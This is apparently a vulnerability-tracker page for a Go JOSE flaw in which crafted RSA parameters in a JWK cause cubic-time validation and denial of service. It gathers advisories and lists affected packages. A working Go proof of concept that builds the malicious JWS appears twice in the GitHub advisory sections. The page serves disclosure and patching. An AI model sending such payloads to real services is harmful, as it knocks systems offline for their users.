Every CVE Search/ Get API key

CVE-2026-116587

Go JOSE: DoS when parsing JWKs that contain RSA keys

7.5 HighFix available

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.37%Unchanged since Oct 27, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

Go JOSE: DoS when parsing JWKs that contain RSA keys

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
CVE-2026-116587
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-407, CWE-770
Updated
2026-11-02
EUVDEUVD-2026-110467 7.5

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
EUVD-2026-110467
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-mgcc-cww5-fp2q 7.5

Go JOSE: DoS when parsing JWKs that contain RSA keys

Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"math/big"
	"time"

	"github.com/go-jose/go-jose/v4"
)

func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)

	jwk := map[string]string{
		"kty": "RSA",
		"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}

	protected := map[string]any{
		"alg": "RS256",
		"jwk": jwk,
	}
	protJSON, _ := json.Marshal(protected)

	jws := map[string]string{
		"protected": base64.RawURLEncoding.EncodeToString(protJSON),
		"payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
		"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
	}
	jwsJSON, _ := json.Marshal(jws)

	start := time.Now()
	_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
	elapsed := time.Since(start)

	fmt.Printf("prime bits: %d\n", primeBits)
	fmt.Printf("parse time: %s\n", elapsed)
	fmt.Printf("parse error: %v\n", err)
}

Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

Record
GHSA-mgcc-cww5-fp2q
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-407, CWE-770
Updated
2026-11-02
NVD 7.5

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
CVE-2026-116587
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-407, CWE-770
Updated
2026-11-02
OSVALPINE-CVE-2026-116587 7.5

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
ALPINE-CVE-2026-116587
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-05
OSV 7.5

Go JOSE: DoS when parsing JWKs that contain RSA keys

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
CVE-2026-116587
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-407, CWE-770
Updated
2026-11-07
Show 24 moreShow less
OSVDEBIAN-CVE-2026-116587 7.5

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
DEBIAN-CVE-2026-116587
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVGHSA-mgcc-cww5-fp2q 7.5

Go JOSE: DoS when parsing JWKs that contain RSA keys

Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"math/big"
	"time"

	"github.com/go-jose/go-jose/v4"
)

func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)

	jwk := map[string]string{
		"kty": "RSA",
		"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}

	protected := map[string]any{
		"alg": "RS256",
		"jwk": jwk,
	}
	protJSON, _ := json.Marshal(protected)

	jws := map[string]string{
		"protected": base64.RawURLEncoding.EncodeToString(protJSON),
		"payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
		"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
	}
	jwsJSON, _ := json.Marshal(jws)

	start := time.Now()
	_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
	elapsed := time.Since(start)

	fmt.Printf("prime bits: %d\n", primeBits)
	fmt.Printf("parse time: %s\n", elapsed)
	fmt.Printf("parse error: %v\n", err)
}

Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

Record
GHSA-mgcc-cww5-fp2q
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-407, CWE-770
Updated
2026-11-02
OSVUBUNTU-CVE-2026-116587 7.5

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
UBUNTU-CVE-2026-116587
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVAZL-111679 No score

CVE-2026-116587 affecting package buildah 1.43.1-3

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-111679
Updated
2026-11-05
OSVAZL-111697 No score

CVE-2026-116587 affecting package cri-o 1.30.1-1

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-111697
Updated
2026-11-05
OSVAZL-111727 No score

CVE-2026-116587 affecting package podman 5.6.1-10

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-111727
Updated
2026-11-05
OSVAZL-111811 No score

CVE-2026-116587 affecting package azcopy 10.25.1-10

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-111811
Updated
2026-11-05
OSVAZL-111830 No score

CVE-2026-116587 affecting package cert-manager 1.12.15-15

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-111830
Updated
2026-11-05
OSVAZL-111863 No score

CVE-2026-116587 affecting package containerd2 2.3.7-1

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-111863
Updated
2026-11-05
OSVAZL-111884 No score

CVE-2026-116587 affecting package containerized-data-importer 1.62.0-9

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-111884
Updated
2026-11-05
OSVAZL-111911 No score

CVE-2026-116587 affecting package dcos-cli 1.2.0-22

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-111911
Updated
2026-11-05
OSVAZL-111965 No score

CVE-2026-116587 affecting package ignition-flatcar 2.22.0-7

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-111965
Updated
2026-11-05
OSVAZL-111974 No score

CVE-2026-116587 affecting package influxdb 2.7.5-23

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-111974
Updated
2026-11-05
OSVAZL-111998 No score

CVE-2026-116587 affecting package keda 2.14.1-19

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-111998
Updated
2026-11-02
OSVAZL-112028 No score

CVE-2026-116587 affecting package kubernetes 1.30.10-32

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-112028
Updated
2026-11-05
OSVAZL-112046 No score

CVE-2026-116587 affecting package libcontainers-common 20240213-3

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-112046
Updated
2026-11-05
OSVAZL-112079 No score

CVE-2026-116587 affecting package moby-containerd-cc 1.7.7-19

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-112079
Updated
2026-11-05
OSVAZL-112112 No score

CVE-2026-116587 affecting package packer 1.9.5-23

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-112112
Updated
2026-11-05
OSVAZL-112229 No score

CVE-2026-116587 affecting package skopeo 1.14.4-15

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-112229
Updated
2026-11-05
OSVAZL-112256 No score

CVE-2026-116587 affecting package telegraf 1.31.0-36

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-112256
Updated
2026-11-05
OSVAZL-112271 No score

CVE-2026-116587 affecting package vitess 19.0.4-16

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Record
AZL-112271
Updated
2026-11-05
OSVopenSUSE-SU-2026:12478-1 No score

skopeo-1.24.0-2.1 on GA media

These are all security issues fixed in the skopeo-1.24.0-2.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:12478-1
Updated
2026-11-07
OSVROOT-APP-GOBINARY-CVE-2026-116587 No score

CVE-2026-116587 in github.com/go-jose/go-jose/v4 - Patched by Root

Root has patched CVE-2026-116587 in the github.com/go-jose/go-jose/v4 package for Root:Go. Multiple fixed versions available.

Record
ROOT-APP-GOBINARY-CVE-2026-116587
Updated
2026-11-04
OSVSUSE-SU-2026:24604-1 No score

Security update for google-cloud-sap-agent

This update for google-cloud-sap-agent fixes the following issues:

  • CVE-2026-78659: golang.org/x/net/http2: HTTP/2 server memory exhaustion due to Trailer headers (bsc#1286994).
  • CVE-2026-78660: golang.org/x/net/http2: HTTP/2 transport accepts malformed framing-related headers (bsc#1287058).
  • CVE-2026-78663: golang.org/x/net/http2: double flow control refund on HTTP/2 server streams (bsc#1287137).
  • CVE-2026-78669: golang.org/x/net/http2: excessive CPU consumption from repeated initial window changes (bsc#1285292).
  • CVE-2026-97032: golang.org/x/net/http2: HTTP/2 server crash due to HPACK encoder race (bsc#1287487).
  • CVE-2026-116585,CVE-2026-116586,CVE-2026-116587: github.com/go-jose/go-jose/v4: multiple security issues in github.com/go-jose/go-jose before 4.1.6 (bsc#1288375).
Record
SUSE-SU-2026:24604-1
Updated
2026-11-07

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/go-jose/go-jose/v4
Go
through 4.1.5
4.1.6
github.com/go-jose/go-jose/v3
Go
through 3.0.5 None known
docker
Alpine:v3.24
before 29.9.3-r0
29.9.3-r0
buildah
Azure Linux:3
through 1.43.1-3 None known
cri-o
Azure Linux:3
through 1.30.1-1 None known
podman
Azure Linux:3
through 5.6.1-10 None known
azcopy
Azure Linux:3
through 10.25.1-10 None known
cert-manager
Azure Linux:3
through 1.12.15-15 None known
containerd2
Azure Linux:3
through 2.3.7-1 None known
containerized-data-importer
Azure Linux:3
through 1.62.0-9 None known
Show 39 moreShow less
Affected packages
PackageAffectedFixed
dcos-cli
Azure Linux:3
through 1.2.0-22 None known
ignition-flatcar
Azure Linux:3
through 2.22.0-7 None known
influxdb
Azure Linux:3
through 2.7.5-23 None known
keda
Azure Linux:3
through 2.14.1-19 None known
kubernetes
Azure Linux:3
through 1.30.10-32 None known
libcontainers-common
Azure Linux:3
through 20240213-3 None known
moby-containerd-cc
Azure Linux:3
through 1.7.7-19 None known
packer
Azure Linux:3
through 1.9.5-23 None known
skopeo
Azure Linux:3
through 1.14.4-15 None known
telegraf
Azure Linux:3
through 1.31.0-36 None known
vitess
Azure Linux:3
through 19.0.4-16 None known
golang-github-go-jose-go-jose
Debian:13
All versions, plus listed versions
4.0.5-14.1.3-14.1.4-14.1.4-1~bpo13+14.1.4-2
None known
golang-github-go-jose-go-jose
Debian:14
All versions, plus listed versions
4.0.5-14.1.3-14.1.4-14.1.4-1~bpo13+14.1.4-2
None known
golang-github-go-jose-go-jose.v3
Debian:13
All versions, plus listed versions
3.0.3-63.0.5-1
None known
golang-github-go-jose-go-jose.v3
Debian:14
All versions, plus listed versions
3.0.3-63.0.5-1
None known
golang-gopkg-square-go-jose.v1
Debian:12
All versions, plus listed versions
1.1.2-4
None known
golang-gopkg-square-go-jose.v1
Debian:13
All versions, plus listed versions
1.1.2-4
None known
golang-gopkg-square-go-jose.v1
Debian:14
All versions, plus listed versions
1.1.2-4
None known
golang-gopkg-square-go-jose.v2
Debian:12
All versions, plus listed versions
2.6.0-22.6.3-12.6.3-22.6.3-32.6.3-42.6.3-4~exp0
None known
golang-gopkg-square-go-jose.v2
Debian:13
All versions, plus listed versions
2.6.3-32.6.3-42.6.3-4~exp0
None known
golang-gopkg-square-go-jose.v2
Debian:14
All versions, plus listed versions
2.6.3-32.6.3-42.6.3-4~exp0
None known
github.com/go-jose/go-jose/v4
Go
before 4.1.6
4.1.6
github.com/go-jose/go-jose/v4
Root:Go
before v4.1.3-aikido.3
v4.1.3-aikido.3v4.1.4-aikido.1v4.1.5-aikido.1v4.1.0-aikido.3v4.1.2-aikido.2
github.com/go-jose/go-jose/v3
Root:Go
before v3.0.5-aikido.1
v3.0.5-aikido.1v3.0.4-aikido.2
rootio-github.com/go-jose/go-jose/v4
Root:Go
before v4.1.3-root.io.3
v4.1.3-root.io.3v4.1.4-root.io.1v4.1.5-root.io.1v4.1.0-root.io.3v4.1.2-root.io.2
rootio-github.com/go-jose/go-jose/v3
Root:Go
before v3.0.5-root.io.1
v3.0.5-root.io.1v3.0.4-root.io.2
google-cloud-sap-agent
SUSE:Linux Enterprise Server 16.0
From an advisory covering 8 CVEs
before 3.15-160000.5.1
3.15-160000.5.1
google-cloud-sap-agent
SUSE:Linux Enterprise Server for SAP applications 16.0
From an advisory covering 8 CVEs
before 3.15-160000.5.1
3.15-160000.5.1
golang-gopkg-square-go-jose.v2
Ubuntu:20.04:LTS
All versions, plus listed versions
2.3.1-1
None known
golang-gopkg-square-go-jose.v2
Ubuntu:22.04:LTS
All versions, plus listed versions
2.5.1-22.6.0-1
None known
golang-github-go-jose-go-jose
Ubuntu:24.04:LTS
All versions, plus listed versions
3.0.1-13.0.1-24.0.1-44.0.1-4ubuntu0.14.0.1-4ubuntu0.24.0.1-4ubuntu0.3
None known
golang-gopkg-square-go-jose.v2
Ubuntu:24.04:LTS
All versions, plus listed versions
2.6.0-2
None known
golang-github-go-jose-go-jose
Ubuntu:26.10
All versions, plus listed versions
4.0.5-1build14.1.4-14.1.4-2
None known
golang-github-go-jose-go-jose.v3
Ubuntu:26.10
All versions, plus listed versions
3.0.3-6
None known
golang-gopkg-square-go-jose.v2
Ubuntu:26.10
All versions, plus listed versions
2.6.3-32.6.3-4
None known
golang-github-go-jose-go-jose.v3
Ubuntu:26.04:LTS
All versions, plus listed versions
3.0.3-6
None known
golang-gopkg-square-go-jose.v2
Ubuntu:26.04:LTS
All versions, plus listed versions
2.6.3-3
None known
golang-github-go-jose-go-jose
Ubuntu:Pro:26.04:LTS
All versions, plus listed versions
4.0.5-14.0.5-1build14.0.5-1ubuntu0.26.04.1~esm1
None known
skopeo
openSUSE:Tumbleweed
From an advisory covering 4 CVEs
before 1.24.0-2.1
1.24.0-2.1

History

History
RecordedChangedSources
affected, aliases, referencesOSV
affected, aliases, referencesOSV
affectedOSV
affected, factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-116587 is a high vulnerability (CVSS 7.5) in Go-jose, published October 26, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.37%, the 30th percentile. Fixed in github.com/go-jose/go-jose/v4 4.1.6.

References

Show 21 moreShow less
MoveEnter Open